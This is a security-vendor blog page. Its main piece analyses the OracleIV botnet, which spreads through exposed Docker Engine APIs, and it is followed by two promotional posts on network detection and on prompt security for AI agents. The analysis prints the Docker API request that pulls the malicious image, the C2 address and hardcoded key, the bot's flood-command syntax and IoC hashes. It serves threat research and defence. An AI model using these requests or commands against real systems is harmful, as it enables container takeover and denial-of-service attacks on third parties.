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November 13, 2023

OracleIV: A dockerized DDoS botnet

OracleIV is a DDoS botnet exploiting misconfigured Docker Engine APIs. It delivers a malicious Python ELF executable within a Docker container ("oracleiv_latest") to perform various DoS attacks. The botnet communicates with a C2 server for commands, demonstrating attackers' continued use of exposed Docker instances.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
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13
Nov 2023

Introduction: OracleIV

Researchers from Cado Security Labs (now part of Darktrace) discovered a novel campaign targeting publicly exposed instances of the Docker Engine API.

Attackers are exploiting this misconfiguration to deliver a malicious Docker container, built from an image named "oracleiv_latest" and containing Python malware compiled as an ELF executable. The malware itself acts as a Distributed Denial of Service (DDoS) bot agent, capable of conducting Denial of Service (DoS) attacks via a number of methods.

It’s not the first time the Docker Engine API has been targeted by attackers. This method of initial access has been increasing in recent years and is often used to deliver cryptojacking malware [1]. Inadvertent exposure of the Docker Engine API occurs frequently enough that several unrelated campaigns have been observed scanning for it. 

This should come as no surprise, given the move to microservice-driven architectures by many software teams. Once a valid endpoint is discovered, it’s trivial to pull a malicious image and launch a container from it to carry out any conceivable objective. Hosting the malicious container in Docker Hub, Docker’s container image library, streamlines this process even further.

Initial access

In keeping with other attacks of this kind, initial access typically begins with a HTTP POST request to the /images/create endpoint of Docker’s API. This effectively runs a docker pull command on the host to retrieve the specified image from Docker Hub. A follow-up container start command is then used to spawn a container from the pulled image. 

An example of the image create command used in the OracleIV command can be seen below:

POST /v1.43/images/create?
tag=latest&fromImage=robbertignacio328832/oracleiv_latest 

Malicious Docker hub image

As can be seen in the Docker API command above, the attacker retrieves an image named oracleiv_latest which was uploaded to Docker Hub. This image was still live at the time of writing and had over 3,000 pulls. Furthermore, the image itself appeared to be undergoing regular iteration, with the most recent changes pushed only 3 days prior to the writing of this blog.

The user also added the description Mysql image for docker to the image’s Docker Hub page, likely to make it seem more innocuous.

Examining the image layers reveals commands used by the attacker to retrieve their malicious payload - named oracle.sh, despite being an ELF executable - and bake it into the resulting image.

Image layer RUN command to retrieve malicious payload
Figure 1: Image layer RUN command to retrieve malicious payload

The image also includes additional wget commands to retrieve a copy of XMRig and an associated miner configuration file.

Image layer RUN command to retrieve xmrig miner
Figure 2: Image layer RUN command to retrieve xmrig miner
Image layer RUN command to retrieve miner configuration file
Figure 3: Image layer RUN command to retrieve miner configuration file

It is worth noting that Cado researchers did not observe any mining performed by this malicious container, but with these files baked into the image it would certainly be possible.

Static analysis

Since the bundled version of XMRig is both unused and a vanilla release of the miner, this section will focus on analysis of the oracle.sh executable embedded in the malicious container.

Static analysis of this executable revealed a 64-bit, statically linked ELF, with debug information intact. Further investigation led to the discovery of a number of functions with CyFunction in the name, confirming that the malware is Python code compiled with Cython.

Embedded Cython functions
Figure 4: Embedded Cython functions

The attacker code is relatively concise, the majority of it is dedicated to the different DoS methods present. The following functions were identified:

  • bot.main
  • bot.init_socket
  • bot.checksum
  • bot.register_ssl
  • bot.register_httpget
  • bot.register_slow
  • bot.register_five
  • bot.register_vse
  • bot.register_udp
  • bot.register_udp_pps
  • bot.register_ovh

Functions with the register_ prefix correspond to DoS attack methods, the details of which will be discussed in the following section.

Dynamic analysis

The bot connects back to a Command-and-Control server (C2) at 46.166.185[.]231 on TCP port 40320. It then performs primitive authentication, where the bot supplies the C2 with basic information about its environment in addition to a hardcoded password.

 : client hello from zombie! : X86 : key: b'bjN0ZzM0cnAwd24zZA==' : os: linux

The key decodes to “n3tg34rp0wn3d”. Supplying an incorrect key causes the C2 to reply with a string of expletive language, followed by the connection being terminated.

Following successful authentication, the C2 will continuously send “routine ping, greetz Oracle IV”. This is likely due to an implementation quirk, where many novice programmers new to socket programming will implement the blocking receive operation in a loop and require constant input to keep the loop going.

Cado Security Labs has performed monitoring of the botnet activity and has observed the botnet being used to DDoS a number of targets, with the operator preferring to use a UDP based flood in addition to an SSL based flood.

Botnet commands

C2 commands used to initiate the different DoS attacks take the following form:

<attack type> <target IP/domain> <attack duration> <rate> <target port>

For example, to conduct an SSL DoS attack on the website example.com for 30 seconds, a rate of 30, and on port 80, the C2 server would send the following command:

ssl example.com 30 30 80

Cado Security Labs were able to trick a botnet agent into connecting to a mimic C2 server instead of the real one and issued commands to observe the capabilities of the botnet. The botnet has the following DDoS capabilities:

UDP:

  • Performs a UDP flood with 40,000-byte packets
  • These far exceed the threshold and consequently get fragmented. This will create an additional computational overhead on both the target and source due to the reassembly of fragments, however it is unclear if this is intentional.

UDP_PPS:

  • Seems non-functional, when the command was issued no activity was observed.

SSL:

  • Opens a TCP connection, sends a large amount of data, and then closes. This process then repeats. The Cado dummy target server rejected all the fake requests with an error 400, so it would appear that the attack aims at flooding the target rather than exploiting some protocol specific function.
Tcpdump output for SSL Dos method
Figure 5: Tcpdump output for SSL DoS method

SYN:

  • It was anticipated that this would be a SYN flood, however the observed behavior is identical to SSL.

HTTPGET:

  • Seems non-functional, when the command was issued no activity was observed.

SLOW:

  • This is a “slowloris” style attack. The agent opens up many connections to the server and continuously sends small amounts of data to keep the connection open.

FIVE:

  • This is a UDP flood with 18-byte packets. Likely the packets are a part of the FiveM server protocol, and designed to cause a denial of service a FiveM server

VSE:

  • This is a UDP flood with 20-byte packets. Similar to FIVE, this seems protocol specific to Valve source engine.

OVH:

  • This is a UDP flood with 8-byte packets, designed to circumvent OVH’s DDoS protection.

Conclusion

OracleIV demonstrates that attackers are still intent on leveraging misconfigured Docker Engine API deployments as a means of initial access for a variety of campaigns. The portability that containerization brings allows malicious payloads to be executed in a deterministic manner across Docker hosts, regardless of the configuration of the host itself. 

Whilst OracleIV is not technically a supply chain attack, users of Docker Hub should be aware that malicious container images do indeed exist in Docker’s image library. Cado researchers reported the malicious user behind OracleIV to Docker.

Despite this, users of Docker Hub are encouraged to perform periodic assessments of the images they are pulling from the registry, to ensure that they have not been polluted with malicious code. 

Consistent with other attacks reliant on a misconfigured internet-facing service (e.g. Jupyter, Redis etc), Cado researchers strongly urge users of these services to periodically review their exposure and implement network defenses accordingly.

Indicators of compromise (IoCs)

File name SHA256

oracle.sh (embedded in container) 5a76c55342173cbce7d1638caf29ff0cfa5a9b2253db9853e881b129fded59fb

xmrig (embedded in container) 20a0864cb7dac55c184bd86e45a6e0acbd4bb19aa29840b824d369de710b6152

config.json (embedded in container) 776c6ef3e9e74719948bdc15067f3ea77a0a1eb52319ca1678d871d280ab395c

IP addresses

46[.]166[.]185[.]231

Docker image

robbertignacio328832/oracleiv_latest:latest

References

  1. https://blog.aquasec.com/threat-alert-anatomy-of-silentbobs-cloud-attack
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

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May 22, 2026

Darktrace named a Leader in the 2026 Gartner® Magic Quadrant™ for Network Detection and Response (NDR) For the Second Consecutive Year

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Continued recognition in NDR  

Darktrace has been recognized as a Leader in the 2026 Gartner® Magic Quadrant™ for Network Detection and Response (NDR), marking the second consecutive year in the Leaders quadrant.

We believe this consistency reflects sustained ability to execute, adapt, and deliver outcomes as the market evolves.

While we are immensely proud to be recognized by industry analysts as a Leader in NDR, that's just part of the story. Darktrace was also Named the Only 2025 Gartner® Peer Insights™ Customers’ Choice for Network Detection and Response based on direct customer feedback and real-world experience.

We believe the combination of these two signals is important. One reflects how the market is evaluated. The other reflects how technology performs in practice.

Why Darktrace continues to be recognized as a leader

We believe our position as a Leader for the second consecutive year reflects a combination of our sustained ability to execute in NDR, continued AI innovation, and proven delivery of security outcomes for customers and partners worldwide.

We also feel that our leadership in the NDR market is a testament to our unique and multi-layered AI approach, for which we were recognized as No.7 on Fast Company’s Most Innovative AI Companies of 2026 list, plus one of the hottest AI cybersecurity companies in CRN's AI 100.

Adapting to complex, real-world environments

Organizations are no longer protecting a single network perimeter. They are securing a mix of users, devices, applications, and data that move across hybrid environments.

Darktrace has focused on maintaining visibility and detection across these conditions, allowing security teams to understand activity as it scales.

Supporting organizations globally, not just technically

Security outcomes are shaped as much by deployment and support as they are by detection capability.

Darktrace continues to invest in regional presence across 29 countries around the world, helping organizations operationalize NDR in ways that align with local requirements, internal processes, and team structures.

Continuing to push AI beyond detection

AI in cybersecurity is often positioned as a way to improve detection accuracy. But the more important shift is how AI can influence decision-making and response.

Darktrace continues to develop models that learn from both live environments and historical incident data, combining real-time behavioral analysis with insights derived from prior attack patterns.

Using technologies such as the Incident Graph and DIGEST (Darktrace Incident Graph Evaluation for Security Threats), activity is not analyzed in isolation. Instead, relationships between users, devices, connections, and events are mapped over time, allowing the system to reconstruct how an incident is unfolding and how similar incidents have progressed in the past.

By evaluating these patterns, Darktrace can assess the likelihood that an incident will escalate, prioritizing the activity that poses the greatest risk and surfacing the most relevant context for investigation.

This shifts security operations from simply identifying anomalies to understanding their trajectory, helping teams anticipate potential impact and respond earlier with greater precision.

Why NDR is shifting from reactive detection to proactive, AI-driven security

Traditional approaches to NDR have been built around reactively identifying threats once they become clearly visible. That model is increasingly difficult to rely on.

Attackers are no longer operating in ways that stand out. They use valid credentials, trusted tools, and low-and-slow techniques that blend into everyday activity. By the time something looks obviously malicious, the impact is often already underway.

This is the core limitation of reactive detection. It depends on recognizing something that already looks like a threat.

As a result, many of the most consequential incidents today fall into a gap.

Insider activity, compromised credentials, and novel attacks rarely trigger traditional alerts because they do not follow known patterns. On the surface, they often appear legitimate, making them difficult to distinguish from normal behavior without deeper context.

This is why we believe this Gartner recognition reflects a broader shift in NDR toward autonomous, proactive and pre‑emptive security operations.

By understanding normal behavior within an environment, it is possible to identify subtle deviations rather than waiting for confirmation of threats as they are taking place.

Darktrace’s Self-Learning AI is designed for behavioral understanding. By continuously learning each organization’s normal patterns, it can detect deviations in real time, enabling a proactive and pre-emptive model of NDR where security teams can respond to early signs of risk as they emerge, reducing the window in which attacks can develop.

In multiple cases, this behavioral approach has led to early threat detection where Darktrace identified completely unknown threats, including pre-CVE zero-day activity. By detecting subtle behavioral changes before vulnerabilities were publicly disclosed or widely understood, organizations can mitigate threats before they do damage.

This shift is subtle but important. Modern NDR solutions must shift from a system that explains what happened to one that helps prevent threats from developing in the first place, and Darktrace is proud to be at the forefront of this shift - helping organizations build and maintain a state of proactive network resilience.

Continuing to innovate at the forefront of NDR

In our view, recognition as a Leader reflects where the market is today. Continuing to innovate defines what comes next.

As businesses evolve, new technologies like AI tools and agents introduce new security risks and challenges; security teams need more than simple detection. They need a complete understanding of risk as it develops, the ability to investigate it in context, and to contain threats at machine speed.  

Darktrace / NETWORK is built to deliver across that full spectrum. Its Self-Learning AI continuously adapts to each organization’s environment, identifying subtle behavioral changes that signal emerging threats. Integrated investigation and autonomous response reduce the time between detection and action, allowing teams to move with greater speed and confidence.

This combination enables organizations to detect and contain known, unknown, and insider threats as they develop, while also strengthening resilience over time.

As a two-time Leader in the Gartner® Magic Quadrant™ for NDR and the only 2025 Gartner® Peer Insights™ Customers’ Choice, we feel Darktrace continues to evolve its platform to meet the demands of modern environments, delivering a more complete and adaptive approach to network security.

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Disclaimer: The 2026 Gartner® Magic Quadrant™ for Network Detection and Response (NDR) ,The 2026 Gartner® Magic Quadrant™ for Network Detection and Response (NDR), Thomas Lintemuth, Charanpal Bhogal, Nahim Fazal, 18 May 2026.

Gartner does not endorse any vendor, product or service depicted in its research publications, and does not advise technology users to select only those vendors with the highest ratings or other designation. Gartner research publications consist of the opinions of Gartner’s research organization and should not be construed as statements of fact. Gartner disclaims all warranties, expressed or implied, with respect to this research, including any warranties of merchantability or fitness for a particular purpose.

GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved. Magic Quadrant is a registered trademark of Gartner, Inc. and/or its affiliates and is used herein with permission. All rights reserved.

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About the author
Mikey Anderson
Product Marketing Manager, Network Detection & Response

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May 21, 2026

Prompt Security in Enterprise AI: Strengths, Weaknesses, and Common Approaches

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How enterprise AI Agents are changing the risk landscape  

Generative AI Agents are changing the way work gets done inside enterprises, and subsequently how security risks may emerge. Organizations have quickly realized that providing these agents with wider access to tooling, internal information, and granting permissions for the agent to perform autonomous actions can greatly increase the efficiency of employee workflows.

Early deployments of Generative AI systems led many organizations to scope individual components as self-contained applications: a chat interface, a model, and a prompt, with guardrails placed at the boundary. Research from Gartner has shown that while the volume and scope of Agentic AI deployments in enterprise environments is rapidly accelerating, many of the mechanisms required to manage risk, trust, and cost are still maturing.

The issue now resides on whether an agent can be influenced, misdirected, or manipulated in ways that leads to unsafe behavior across a broader system.

Why prompt security matters in enterprise AI

Prompt security matters in enterprise AI because prompts are the primary way users and systems interact with Agentic AI models, making them one of the earliest and most visible indicators of how these systems are being used and where risk may emerge.

For security teams, prompt monitoring is a logical starting point for understanding enterprise AI usage, providing insight into what types of questions are being asked and tasks are being given to AI Agents, how these systems are being guided, and whether interactions align with expected behavior. Complete prompt security takes this one step further, filtering out or blocking sensitive or dangerous content to prevent risks like prompt injection and data leakage.

However, visibility only at the prompt layer can create a false sense of security. Prompts show what was asked, but not always why it was asked, or what downstream actions were triggered by the agent across connected systems, data sources, or applications.

What prompt security reveals  

The primary function of prompt security is to minimize risks associated with generative and agentic AI use, but monitoring and analysis of prompts can also grant insight into use cases for particular agents and model. With comprehensive prompt security, security teams should be able to answer the following questions for each prompt:

  • What task was the user attempting to complete?
  • What data was included in the request, and was any of the data high-risk or confidential?
  • Was the interaction high-risk, potentially malicious, or in violation of company policy?
  • Was the prompt anomalous (in comparison to previous prompts sent to the agent / model)?

Improving visibility at this layer is a necessary first step, allowing organizations to establish a baseline for how AI systems are being used and where potential risks may exist.  

Prompt security alone does not provide a complete view of risk. Further data is needed to understand how the prompt is interpreted, how context is applied, what autonomous actions the agent takes (if any), or what downstream systems are affected. Understanding the outcome of a query is just as important for complete prompt security as understanding the input prompt itself – for example, a perfectly normal, low-risk prompt may inadvertently result in an agent taking a high-risk action.

Comprehensive AI security systems like Darktrace / SECURE AI can monitor and analyze both the prompt submitted to a Generative AI system, as well as the responses and chain-of-thought of the system, providing greater insight into the behavior of the system. Darktrace / SECURE AI builds on the core Darktrace methodology, learning the expected behaviors of your organization and identifying deviations from the expected pattern of life.

How organizations address prompt security today

As prompt-level visibility has become a focus, a range of approaches have emerged to make this activity more observable and controllable. Various monitoring and logging tools aim to capture prompt inputs to be analyzed after the fact.  

Input validation and filtering systems attempt to intervene earlier, inspecting prompts before they reach the model. These controls look for known jailbreak patterns, language indicative of adversarial attacks, or ambiguous instructions which could push the system off course.

Importantly, for a prompt security solution to be accurate and effective, prompts must be continually observed and governed, rather than treated as a point-in-time snapshot.  

Where prompt security breaks down in real environments

In more complex environments, especially those involving multiple agents or extensive tool use, AI security becomes harder to define and control.

Agent-to-Agent communications can be harder to monitor and trace as these happen without direct user interaction. Communication between agents can create routes for potential context leakage between agents, unintentional privilege escalation, or even data leakage from a higher privileged agent to a lower privileged one.

Risk is shaped not just by what is asked, but by the conditions in which that prompt operates and the actions an agent takes. Controls at the orchestration layer are starting to reflect this reality. Techniques such as context isolation, scoped memory, and role-based boundaries aim to limit how far a prompt’s influence can extend.  

Furthermore, Shadow AI usage can be difficult to monitor. AI systems that are deployed outside of formal governance structures and Generative AI systems hosted on unknown endpoints can fly under the radar and can go unseen by monitoring tools, leaving a critical opening where adversarial prompts may go undetected. Darktrace / SECURE AI features comprehensive detection of Shadow AI usage, helping organizations identify potential risk areas.

How prompt security fits in a broader AI risk model

Prompt security is an important starting point, but it is not a complete security strategy. As AI systems become more integrated into enterprise environments, the risks extend to what resources the system can access, how it interprets context, and what actions it is allowed to take across connected tools and workflows.

This creates a gap between visibility and control. Prompt security alone allows security teams to observe prompt activity but falls short of creating a clear understanding of how that activity translates into real-world impact across the organization.

Closing that gap requires a broader approach, one that connects signals across human and AI agent identities, SaaS, cloud, and endpoint environments. It means understanding not just how an AI system is being used, but how that usage interacts with the rest of the digital estate.

Prompt security, in that sense, is less of a standalone solution and more of an entry point into a larger problem: securing AI across the enterprise as a whole.

Explore how Darktrace / SECURE AI brings prompt security to enterprises

Darktrace brings more than a decade of AI expertise, built on an enterprise‑wide platform designed to operate in and understand the behaviors of the complex, ambiguous environments where today’s AI now lives. With Darktrace / SECURE AI, enterprises can safely adopt, manage, monitor, and build AI within their business.  

Learn about Darktrace / SECURE AI here.

Sign up today to stay informed about innovations across securing AI.

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About the author
Jamie Bali
Technical Author (AI) Developer
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